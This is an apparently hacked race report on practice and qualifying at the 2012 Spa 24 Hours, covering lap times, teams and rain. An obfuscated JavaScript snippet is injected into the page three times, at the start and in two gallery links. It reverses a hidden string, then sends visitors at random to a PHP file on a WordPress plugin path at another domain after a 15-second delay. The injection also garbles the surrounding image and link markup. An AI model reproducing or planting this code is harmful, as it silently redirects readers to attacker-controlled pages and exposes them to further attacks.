$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/07/Spa-2012-24hrs-15.jpg” alt=”” width=”728″ height=”484″ />
Rain at Spa-Francorchamps? Who on earth would have seen that coming?
Most of us actually, if previous experience is anything to go by. Granted, come t-minus one hour before kick-off for final qualifying, nobody expected the monsoon-type conditions that ultimately flooded the circuit to descend quite as vociferously as it did.
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Just ask our boy Camden Thrasher, who braved the elements with his Nikon D300S and some heavy-duty waterproofs to snap the action. And he had more than enough to keep his hands full.
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Take the opening practice session for example, which was topped by not one, not two but five cars from Pro-Am. Hans Guido Riegel, Mike Stursberg, Christian Menzel and Uwe Alzen took point at the beginning of the weekend in their #8 Haribo Racing Team-run Porsche 997 GT3 R with a 2m21.168s lap, over one second ahead of Niek Hommerson, Louis Machiels, Andrea Bertolini and Pier Guidi Alessandro in the AF Corse Ferrari 458 Italia. Giuseppe Ciro, Gaetano Ardagna Perez, Daniel Brown and Toni Vilander completed the top three in the sister AF Corse entry.
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The Audi Sport Team WRT steamroller meanwhile struck first in the Pro category with Marcel Fassler, Tom Kristensen and Andre Lotterer in the #6 Phoneix entry, just one tenth faster than #16 Audi teammates Andrea Piccini, Rene Rast and Frank Stippler, enough to register them fifth and sixth overall.
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As day began to fade, Pro-Am once again topped the timesheets during Pre-Qualifying, with Alvaro Parente, Robert Barff, Chris Goodwin and Roger Wills playing their hands early and banking a 2m21.391s time in the Von Ryan Racing McLaren MP4-12C. This would not be beaten by fellow McLaren runners Pedro Lamy, Luis Silva, Ricardo Bravo and Karim Ojjeh despite a noble effort from the ASM Team.
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The Pro category contenders once again took a backseat for Pre-Qualifying, albeit slightly further up the timing sheets. Marco Bonanomi, Edward Sandstroem and Laurens Vanthoor taking up position in third overall with a 2m22.083s aboard the Audi R8, just ahead of local boys Maxime Martin and Bas Leinders, and Markus Palttala in the Marc VDS Racing BMW Z4.
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Come nightfall though, the momentum would change yet again with BMW locking out the top two spots. Mathias Lauda, Gregory Franchi and Frank Kechele in the Vita4one Racing Team Z4 would leap to the front of the grid with an devastating 2m19.473s laptime. Hot on their respective heels as dusk paved into darkness – just 0.073s behind in fact – was the Martin, Leinders and Palttala, who secured second with a strong run.
Parente, Barff, Goodwin and Wills were the sole Pro-Am runners in the top five, securing category pole position three places and three tenths ahead of nearest Pro-Am rivals Nico Verdonck, Edouard Mondron, Jack Clarke and Eric van de Poele in the #5 Boutsen Ginion Racing Macca.
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Later the circuit was being pummeled with rain, drivers and teams taking refuge in the garage to discuss strategy, grab a quick lunch, and rest up ahead of the endurance. A drenched track meant Super Pole could not be salvaged, and the jubilant Vita4one Racing crew celebrated their newly won pole position.
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One wonders what else Mother Nature has up her sleeve ahead of the green flag. Lauda, Franchi and Kechele will hope she plays fair. Leinders, Palttala and Martin may hope she’s in the Belgian corner.
Shots courtesy of Camden Thrasher. Be sure to check out $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/24hrs-of-spa-2012/” target=”_blank”>our full Spa24hrs gallery HERE as well as $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/spa-24hrs-eric-fabre-2012/” target=”_blank”>our Eric Fabre gallery.
